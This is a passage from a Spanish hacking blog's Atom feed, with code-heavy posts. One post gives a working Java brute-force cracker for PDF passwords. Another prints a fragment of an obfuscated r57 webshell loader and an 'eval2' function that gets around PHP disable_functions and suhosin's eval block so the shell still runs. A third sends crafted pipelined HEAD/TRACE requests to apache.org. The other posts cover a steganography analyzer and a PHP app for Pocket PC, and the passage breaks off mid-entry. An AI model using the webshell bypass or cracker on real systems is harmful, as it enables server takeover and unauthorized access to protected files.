href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3754251183706208899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3754251183706208899'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/04/programacion-de-mod-apache-for-dummies.html' title='Programacion de mod apache for dummies Capitulo 1'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-2936792966009889738</id><published>2010-03-27T10:52:00.000-07:00</published><updated>2010-03-30T12:55:12.833-07:00</updated><title type='text'>Prototipo: Crackeador PDF Java</title><content type='html'>Ultimamente he estado algo fuera, por x.25sec, programando, diseñando, etc...&lt;br /&gt;Pero entre ese tiempo tambien estoy diseñando algunos codigos individuales, en este caso un crackeador PDF, aun es un "prototipo", pues se podria mejorar mucho, bueno se los comparto, y se aceptan cualquier sugerencia para mejorar el funcionamiento :)...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Java"&gt;&lt;br /&gt;package pdfcracker;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;import java.util.logging.Level;&lt;br /&gt;import java.util.logging.Logger;&lt;br /&gt;import org.apache.pdfbox.pdmodel.PDDocument;&lt;br /&gt;/**&lt;br /&gt; *&lt;br /&gt; * @author xianur0&lt;br /&gt; */&lt;br /&gt;class TestTh extends Thread {&lt;br /&gt;    private String filename;&lt;br /&gt;    private String passs;&lt;br /&gt;    private int caractermin = 32;&lt;br /&gt;    private int caractermax = 127;&lt;br /&gt;    private static PDDocument document = null;&lt;br /&gt;    public static int passwd[];&lt;br /&gt;    public static int largopass = 1;&lt;br /&gt;    public static boolean available = false;&lt;br /&gt;    public TestTh(String filename, int caractermina, int caractermaxa, PDDocument documento, int pass[]) {&lt;br /&gt;        caractermin = caractermina;&lt;br /&gt;        caractermax = caractermaxa;&lt;br /&gt;        passwd = pass;&lt;br /&gt;        document = documento;&lt;br /&gt;        }&lt;br /&gt;   public synchronized String aumentar()&lt;br /&gt;   {&lt;br /&gt;            while(available == true) {&lt;br /&gt;            try {&lt;br /&gt;                wait();&lt;br /&gt;            } catch (InterruptedException e) { }&lt;br /&gt;       }&lt;br /&gt;        available = true;&lt;br /&gt;int tamarray = passwd.length;&lt;br /&gt;passwd[tamarray-1]++;&lt;br /&gt;for(int posicion = tamarray-1;posicion&amp;gt;=0;posicion--) {&lt;br /&gt;if(passwd[posicion] &amp;gt; caractermax) {&lt;br /&gt;    if(posicion == 0) {&lt;br /&gt;    largopass++;&lt;br /&gt;    System.out.println(new StringBuilder().append("Aumentado a ").append(largopass).append(" caracteres").toString());&lt;br /&gt;    int tmp[] = new int[tamarray+1];&lt;br /&gt;    for(int ia = tamarray-1;ia&amp;gt;=0;ia--) {&lt;br /&gt;    tmp[ia+1] = passwd[ia];&lt;br /&gt;    if(ia == 0) tmp[0] = caractermin;&lt;br /&gt;    }&lt;br /&gt;passwd = tmp;&lt;br /&gt;    passwd[1] = caractermin;&lt;br /&gt;   tamarray++;&lt;br /&gt;    } else {&lt;br /&gt;            passwd[posicion] = caractermin;&lt;br /&gt;            passwd[posicion-1]++;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;    StringBuilder passbuff = new StringBuilder();&lt;br /&gt;for(int posicion = 0;posicion&amp;lt;tamarray;posicion++)&lt;br /&gt;   passbuff.append((char) passwd[posicion]);&lt;br /&gt;notifyAll();&lt;br /&gt;return passbuff.toString();&lt;br /&gt;}&lt;br /&gt;        public synchronized Boolean comprobar(String filename,String pass) {&lt;br /&gt;           while(available == false) {&lt;br /&gt;            try {&lt;br /&gt;                wait();&lt;br /&gt;            } catch (InterruptedException e) { }&lt;br /&gt;       }&lt;br /&gt;                   available = false;&lt;br /&gt;            try {&lt;br /&gt;                 if(!document.isEncrypted()) {&lt;br /&gt;             System.out.println("Archivo no encriptado!");&lt;br /&gt;      System.exit(1);&lt;br /&gt;         } else {&lt;br /&gt;                document.decrypt(pass);&lt;br /&gt;            }&lt;br /&gt;        } catch (Exception ex) {&lt;br /&gt;        }&lt;br /&gt;        if(!document.isEncrypted()) {&lt;br /&gt;            notifyAll();&lt;br /&gt;return true;&lt;br /&gt;        } else {&lt;br /&gt;         notifyAll();&lt;br /&gt;return false;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;    public void run() {&lt;br /&gt;        while(true) {&lt;br /&gt;                passs = aumentar();&lt;br /&gt;                if(comprobar(filename,passs)) {&lt;br /&gt;                   System.out.println(new StringBuilder().append("Password encontrada: ").append(passs).toString());&lt;br /&gt;                   System.exit(0);&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class Main {&lt;br /&gt;    static String filename = "";&lt;br /&gt;    static int threadsausar = 1;&lt;br /&gt;    static int caractermin = 48;&lt;br /&gt;    static int caractermax = 57;&lt;br /&gt;    public static void main(String args[] ) {&lt;br /&gt;        if(args.length &amp;lt; 4) {&lt;br /&gt;            System.out.println("Uso: java -jar crackeador.jar [archivo] [numeros/todo] [N. caracteres] [Threads a usar]");&lt;br /&gt;        System.exit(-1);&lt;br /&gt;        }&lt;br /&gt;        filename = args[0];&lt;br /&gt;        if(args[1].equals("numeros")) { caractermin = 48; caractermax = 57;}&lt;br /&gt;        else if(args[1].equals("todo")) { caractermin = 32; caractermax = 127;}&lt;br /&gt;        else { System.out.println("Rango invalido!\n"); System.exit(-1);}&lt;br /&gt;        int nca = 0;&lt;br /&gt;        try {&lt;br /&gt;        nca = Integer.parseInt(args[2]);&lt;br /&gt;        } catch(Exception ex) {&lt;br /&gt;System.out.println("N caracter invalido!\n");&lt;br /&gt;System.exit(-1);&lt;br /&gt;        }&lt;br /&gt;        int pass[];&lt;br /&gt;        if(nca &amp;gt; 0) { pass =  new int[nca]; for(int inis = 0; inis &amp;lt; nca; inis++) {pass[inis] = caractermin;} } else { pass =  new int[1]; pass[0] = caractermin; }&lt;br /&gt;        PDDocument document = null;&lt;br /&gt;        try {&lt;br /&gt;            document = PDDocument.load(filename);&lt;br /&gt;        } catch (IOException ex) {&lt;br /&gt;            Logger.getLogger(TestTh.class.getName()).log(Level.SEVERE, null, ex);&lt;br /&gt;        }&lt;br /&gt;        if(Integer.parseInt(args[3]) &amp;gt; 0) threadsausar = Integer.parseInt(args[3]);&lt;br /&gt;        TestTh[] t1 = new TestTh[threadsausar];&lt;br /&gt;        System.out.println(new StringBuilder().append("Desplegando ").append(threadsausar).append(" threads").toString());&lt;br /&gt;        for(int tr = 0; tr &amp;lt; threadsausar; tr++) {&lt;br /&gt;        t1[tr] = new TestTh(filename,caractermin,caractermax,document, pass);&lt;br /&gt;        t1[tr].start();&lt;br /&gt;        }&lt;br /&gt;        System.out.println("Desplegados...\n");&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bytez Xianur0&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-2936792966009889738?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/2936792966009889738/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=2936792966009889738' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2936792966009889738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2936792966009889738'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/03/prototipo-crackeador-pdf-java.html' title='Prototipo: Crackeador PDF Java'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-4014380983575232062</id><published>2010-02-12T11:50:00.001-08:00</published><updated>2010-02-12T15:18:09.811-08:00</updated><title type='text'>disable_functions &amp; suhosin patch</title><content type='html'>Es una directiva de php, y pues tiene bastantes usos, pero en si para lo que nos sirve es para desactivar determinadas funciones en php, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;&amp;lt;? eval2(gzinflate(base64_decode("7b15f+I48jj89+TzyXtwe7NjmCYECORsMkkISUjnBHJ29y9rsAPuGMzYkKNn+70/[...]"))); ?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Bueno eso vendria siendo un troso de la r57 encriptada, podemos ver claramente cual es el proceso de decodificacion y ejecucion, es decir, si desactivamos la funcion base64_decode, tirara un error de tipo "Warning" avisando que la funcion esta desactivada, y por ende esta shell no se ejecutara, ahora si esta desactivada esa funcion solo es cosa de hacer otra clase de codificacion, se me ocurre pasar cada caracter de la shell a hexadecimal (mas bien seria urlencode), es decir quedarian el valor hexadecimal con prefijo "%" por ejemplo un espacio seria "%20"&lt;br /&gt;&lt;br /&gt;luego se integra un script que decodifique y retorne la shell compresa (gzdeflate), aunque basicamente es lo mismo que hacen con base64, ahora si se desactiva el gzinflate, hay funciones similares que se pueden usar:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.php.net/manual/en/function.gzcompress.php"&gt;gzcompress&lt;/a&gt;/&lt;a href="http://www.php.net/manual/en/function.gzuncompress.php"&gt;gzuncompress&lt;/a&gt;&lt;br /&gt;etc...&lt;br /&gt;&lt;br /&gt;por lo cual tambien seria facil ejecutar nuestra shell, pero si se desactiva eval? (este no se desactivaria con  disable_functions, si no con el suhosin-patch)&lt;br /&gt;&lt;br /&gt;Para los que se preguntan como se desactiva el eval, necesitan tener el php con suhosin y en el php.ini poner la directiva:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;suhosin.executor.disable_eval = 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;pues usar lo que tenemos, si hay alguna funcion para ejecutar comandos activa (eso incluye las comillas invertidas "``")&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;podemos hacer algo como:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;function eval2($php) {&lt;br /&gt;// eval2 By Xianur0&lt;br /&gt;$cabecera = "&amp;lt;?php\n";&lt;br /&gt;foreach($_GET as $key =&amp;gt; $valor) $cabecera .= '$_GET['.$key.'] = "'.$valor.'";';&lt;br /&gt;foreach($_POST as $key =&amp;gt; $valor) $cabecera .= '$_POST['.$key.'] = "'.$valor.'";';&lt;br /&gt;foreach($_SERVER as $key =&amp;gt; $valor) $cabecera .= '$_SERVER['.$key.'] = "'.$valor.'";';&lt;br /&gt;foreach($HTTP_POST_FILES as $key =&amp;gt; $valor) $cabecera .= '$HTTP_POST_FILES['.$key.'] = "'.$valor.'";';&lt;br /&gt;$consulta = $cabecera.$php." ?&amp;gt;";&lt;br /&gt;$descriptorspec = array(&lt;br /&gt;0 =&amp;gt; array("pipe", "r"),&lt;br /&gt;1 =&amp;gt; array("pipe", "w"),&lt;br /&gt;2 =&amp;gt; array("file", "/tmp/error-output.txt", "a")&lt;br /&gt;);&lt;br /&gt;$cwd = getcwd();&lt;br /&gt;$process = proc_open('php', $descriptorspec, $pipes, $cwd);&lt;br /&gt;if (is_resource($process)) {&lt;br /&gt;fwrite($pipes[0], $consulta);&lt;br /&gt;fclose($pipes[0]);&lt;br /&gt;echo stream_get_contents($pipes[1]);&lt;br /&gt;fclose($pipes[1]);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;y ahi quedo, incluso el eval se puede remplazar, aunque en este caso se requiere que el servidor tenga proc_open, aunque se podria usar cualquier otra funcion para ejecutar comandos (php -r)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;y regresando al &lt;span style="font-weight: bold;"&gt;disable_functions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;para los que no esten familiarizados con como usarlo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;disable_functions = "system"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;esa seria mas o menos su sintaxis (En el archivo php.ini), nadamas es que le cambien y pongan que funciones quieren desactivar, reiniciar el servidor y listo...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo de una r57 encriptada con eval desactivado:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_UbB1YAg3klE/S3XECUOuGpI/AAAAAAAAAG4/d4w58iYuPh0/s1600-h/suhosinpatch.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 187px;" src="http://3.bp.blogspot.com/_UbB1YAg3klE/S3XECUOuGpI/AAAAAAAAAG4/d4w58iYuPh0/s320/suhosinpatch.jpg" alt="" id="BLOGGER_PHOTO_ID_5437467669188975250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo de la misma r57 en el mismo servidor usando el eval2&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_UbB1YAg3klE/S3XEcBrSlXI/AAAAAAAAAHA/-UUBccJ1FsY/s1600-h/eval2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 187px;" src="http://2.bp.blogspot.com/_UbB1YAg3klE/S3XEcBrSlXI/AAAAAAAAAHA/-UUBccJ1FsY/s320/eval2.jpg" alt="" id="BLOGGER_PHOTO_ID_5437468110885131634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saludos y espero que les haya gustado&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;By Xianur0&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-4014380983575232062?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/4014380983575232062/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=4014380983575232062' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4014380983575232062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4014380983575232062'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/02/disablefunctions.html' title='disable_functions &amp; suhosin patch'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_UbB1YAg3klE/S3XECUOuGpI/AAAAAAAAAG4/d4w58iYuPh0/s72-c/suhosinpatch.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3550755150365103922</id><published>2010-02-06T12:08:00.000-08:00</published><updated>2010-02-06T12:19:44.460-08:00</updated><title type='text'>Analizador de archivos v0.000001...</title><content type='html'>Es decir una tool para el estudio de la esteganografia (basica), es decir, mediante un array asociado y sus respectivos valores hexadecimal (urlencode) se buscan el tipo de archivo, inicio y final. Con la finalidad de detectar posibles archivos o datos ocultos en un archivo cargado.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="html:nocontrols"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;Analizador de archivos v0.000001 By Xianur0&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;center&amp;gt;&lt;br /&gt;&amp;lt;!-- %62%79%20%58%69%61%6E%75%72%30 --&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;Analizador de archivos v0.000001 By Xianur0&amp;lt;/h1&amp;gt;&lt;br /&gt;&amp;lt;form action="?" method="post" enctype="multipart/form-data"&amp;gt;&lt;br /&gt;&amp;lt;b&amp;gt;Archivo: &amp;lt;/b&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input name="archivo" type="file"&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Enviar"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;if(!isset($HTTP_POST_FILES['archivo']['tmp_name'])) exit;&lt;br /&gt;function ascii2hex($ascii) {&lt;br /&gt;&lt;br /&gt;$hex = '';&lt;br /&gt;&lt;br /&gt;for ($i = 0; $i &amp;lt; strlen($ascii); $i++) {&lt;br /&gt;&lt;br /&gt;$byte = strtoupper(dechex(ord($ascii{$i})));&lt;br /&gt;&lt;br /&gt;$byte = str_repeat('0', 2 - strlen($byte)).$byte;&lt;br /&gt;&lt;br /&gt;$hex.= "%".$byte;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return $hex;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// Este es el array donde se especifica el tipo de archivo segun la cabecera inicial&lt;br /&gt;// y se da el final del archivo, aqui puede ir agregando sus tipos de archivos con su&lt;br /&gt;// respectiva cabecera y final (usen un editor hexadecimal para encontrar estos valores en el&lt;br /&gt;// tipo de archivo que quieren).&lt;br /&gt;&lt;br /&gt;$estructuras = array("jpeg"=&amp;gt;array("inicio" =&amp;gt; "%FF%D8%FF%E0%10%4A%46%49%46", "final" =&amp;gt; "%FF%D9"),);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$nombre_archivo = $HTTP_POST_FILES['archivo']['tmp_name'];&lt;br /&gt;&lt;br /&gt;$gestor = fopen($nombre_archivo, "rb");&lt;br /&gt;&lt;br /&gt;$contenido = fread($gestor, filesize($nombre_archivo));&lt;br /&gt;&lt;br /&gt;fclose($gestor);&lt;br /&gt;&lt;br /&gt;$archivohex = ascii2hex($contenido);&lt;br /&gt;&lt;br /&gt;$largoarchivo = strlen($archivohex);&lt;br /&gt;foreach($estructuras as $tipo =&amp;gt; $array) {&lt;br /&gt;&lt;br /&gt;$inicio = strpos($archivohex,$estructuras[$tipo]['final']);&lt;br /&gt;&lt;br /&gt;$final  = $inicio+strlen($estructuras[$tipo]['final']);&lt;br /&gt;&lt;br /&gt;$resto = substr($archivohex,$final);&lt;br /&gt;$regex = "/^".$estructuras[$tipo]['inicio']."/";&lt;br /&gt;&lt;br /&gt;if(preg_match($regex,$archivohex)) {&lt;br /&gt;$encontrado = 1;&lt;br /&gt;&lt;br /&gt;print "&amp;lt;b&amp;gt;Tipo de archivo: &amp;lt;/b&amp;gt;".$tipo."&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;print "&amp;lt;b&amp;gt;Largo del ".$tipo." en hex: &amp;lt;/b&amp;gt;".$largoarchivo."&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;print "&amp;lt;b&amp;gt;Ubicacion final del ".$tipo." en hexadecimal: &amp;lt;/b&amp;gt;".$inicio."-".$final."&amp;lt;br&amp;gt;";&lt;br /&gt;print "&amp;lt;b&amp;gt;Ubicacion del ".$tipo." en hexadecimal: &amp;lt;/b&amp;gt;0-".$final."&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;if($final != $largoarchivo) {&lt;br /&gt;&lt;br /&gt;print "&amp;lt;b&amp;gt;Datos ocultos: &amp;lt;/b&amp;gt;&amp;lt;a href=\"data:text/html;utf-8,".$resto."\"&amp;gt;Descargar binario&amp;lt;/a&amp;gt;";&lt;br /&gt;&lt;br /&gt;} else print "&amp;lt;b&amp;gt;No datos ocultos :)&amp;lt;/b&amp;gt;";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;if($encontrado != 1) print "&amp;lt;b&amp;gt;No se pudo reconocer el tipo de archivo :(&amp;lt;/b&amp;gt;";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;!-- %62%79%20%58%69%61%6E%75%72%30 --&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href="http://xianur0.blogspot.com/"&amp;gt;By Xianur0&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/center&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nota: &lt;/span&gt;Cuando da el link para descargar el archivo oculto, den click derecho -&gt; guardar enlace como, de otro modo el navegador mostrara el contenido ahi mismo xD...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3550755150365103922?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3550755150365103922/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3550755150365103922' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3550755150365103922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3550755150365103922'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/02/analizador-de-archivos-v0000001.html' title='Analizador de archivos v0.000001...'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-696589599713321549</id><published>2010-02-04T17:39:00.000-08:00</published><updated>2010-02-04T17:45:14.064-08:00</updated><title type='text'>PocketHPH (PHP para Pocket PC)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://mobileleap.net/hph/PocketHPH.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 212px; height: 279px;" src="http://mobileleap.net/hph/PocketHPH.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Nadamas les comento sobre una aplicacion interesante, esto es un servidor web con php corriendo en tu PocketPC, es decir, puedes diseñar aplicaciones PHP desde tu PocketPC:&lt;br /&gt;&lt;br /&gt;"&lt;span style="color:black;"&gt;&lt;b&gt;Pocket HPH is a compact &lt;a target="_new" href="http://php.net/"&gt;PHP&lt;/a&gt; processing engine designed to run on handheld devices.&lt;/b&gt;&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Sin duda una aplicacion excelente para desarrollar webs de forma mobil xD. La tengo instalada en mi treo 750, y jala perfectamente. Unicamente hay que adaptarnos a algunas funciones que cambian de HPH al PHP oficial y podemos diseñar completamente lo mismo, la diferencia es que esto es mucho mas mobil.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mobileleap.net/hph/"&gt;http://mobileleap.net/hph/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-696589599713321549?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/696589599713321549/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=696589599713321549' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/696589599713321549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/696589599713321549'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/02/pockethph-php-para-pocket-pc.html' title='PocketHPH (PHP para Pocket PC)'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3921567216781866565</id><published>2010-02-03T10:42:00.000-08:00</published><updated>2010-02-03T11:44:27.827-08:00</updated><title type='text'>Analizando implementacion del HTTP en Servidores Web</title><content type='html'>Vamos a ver un poco de como se puede analizar la forma que implementan el protocolo HTTP, con diferentes fines, por ejemplo para detectar que tan buen uso le dan al protocolo y que tan susceptibles serian ante diferentes clases de ataques, vamos a dar unos ejemplos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-family: arial;"&gt;Servidor Web: Apache&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Open-Source: Si&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Programado en: C&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;HTTP Pipelining: Soportado y activado por default&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Vamos a hacer unas pruebas (con www.apache.org):&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Enviado:&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="php:nocontrols"&gt;HEAD / HTTP/1.1&lt;br /&gt;Host: www.apache.org&lt;br /&gt;Content-Length: 7&lt;br /&gt;&lt;br /&gt;xianur0TRACE / HTTP/1.1&lt;br /&gt;Host: www.apache.org&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Resultado:&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="php:nocontrols"&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Wed, 03 Feb 2010 18:52:06 GMT&lt;br /&gt;Server: Apache/2.3.5 (Unix) mod_ssl/2.3.5 OpenSSL/0.9.7d mod_fcgid/2.3.2-dev&lt;br /&gt;Last-Modified: Wed, 27 Jan 2010 08:40:59 GMT&lt;br /&gt;ETag: "b95834-8667-47e215c92fcc0"&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;Content-Length: 34407&lt;br /&gt;Cache-Control: max-age=86400&lt;br /&gt;Expires: Thu, 04 Feb 2010 18:52:06 GMT&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Wed, 03 Feb 2010 18:52:06 GMT&lt;br /&gt;Server: Apache/2.3.5 (Unix) mod_ssl/2.3.5 OpenSSL/0.9.7d mod_fcgid/2.3.2-dev&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Content-Type: message/http&lt;br /&gt;&lt;br /&gt;2a&lt;br /&gt;TRACE / HTTP/1.1&lt;br /&gt;Host: www.apache.org&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;0&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Conclusion:&lt;/span&gt;&lt;br /&gt;Podemos determinar mediante esta simple consulta que sin importar el metodo que se esta usando, el servidor web apache considera el Content-Length, es decir se lee lo enviado como POSTDATA (contenido que se envia por POST), esto tendria como consecuencia algunos detalles por ejemplo un retardo (minimo) al intentar leer el Content-Length y parsear el postdata segun el largo dado. Esto es, apache no considera muy afondo la estructura del HTTP, pues segun la estructura del protocolo, solo se puede enviar postdata mediante el metodo POST, en caso de que el metodo sea GET, solo se pueden enviar parametros en el campo de uricontent, es decir no sera POSTDATA, sino uricontent.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Servidor Web: IIS/7.5&lt;br /&gt;Open-Source: NO (ni soñando xD)&lt;br /&gt;HTTP Pipelining: 